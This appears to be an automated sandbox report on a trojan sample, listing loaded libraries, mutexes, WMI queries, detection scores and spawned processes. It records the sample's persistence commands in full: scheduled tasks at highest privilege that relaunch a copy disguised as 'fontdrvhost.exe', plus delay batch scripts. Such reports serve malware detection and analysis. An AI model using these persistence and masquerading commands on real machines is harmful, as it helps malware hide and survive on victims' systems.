Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll

Source: ZT3pxe2Tb4.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: ZT3pxe2Tb4.exe, aJCfPqCSvGmcYPx2WWy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: ZT3pxe2Tb4.exe, aJCfPqCSvGmcYPx2WWy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: ZT3pxe2Tb4.exe, aJCfPqCSvGmcYPx2WWy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: ZT3pxe2Tb4.exe, aJCfPqCSvGmcYPx2WWy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: DnshUSLJ.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: tAOrkGQb.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: SKewgrff.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: IbKgwPay.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: zsrQNmVQ.log.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@93/244@0/1

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

File created: C:\Users\user\Desktop\tqrrAUxf.log

Jump to behavior

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\cfcca84f50e77cb6ac0a04c26d8ae71e39090d16a37d1ce7f59ef27a8be95bc3

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

File created: C:\Users\user\AppData\Local\Temp\Haf5RcGt9x

Jump to behavior

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat"

Source: ZT3pxe2Tb4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ZT3pxe2Tb4.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZT3pxe2Tb4.exe	ReversingLabs: Detection: 86%
Source: ZT3pxe2Tb4.exe	Virustotal: Detection: 73%

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

File read: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZT3pxe2Tb4.exe "C:\Users\user\Desktop\ZT3pxe2Tb4.exe"
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: unknown	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe C:\Users\user\AppData\Local\fontdrvhost.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe C:\Users\user\AppData\Local\fontdrvhost.exe
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat"
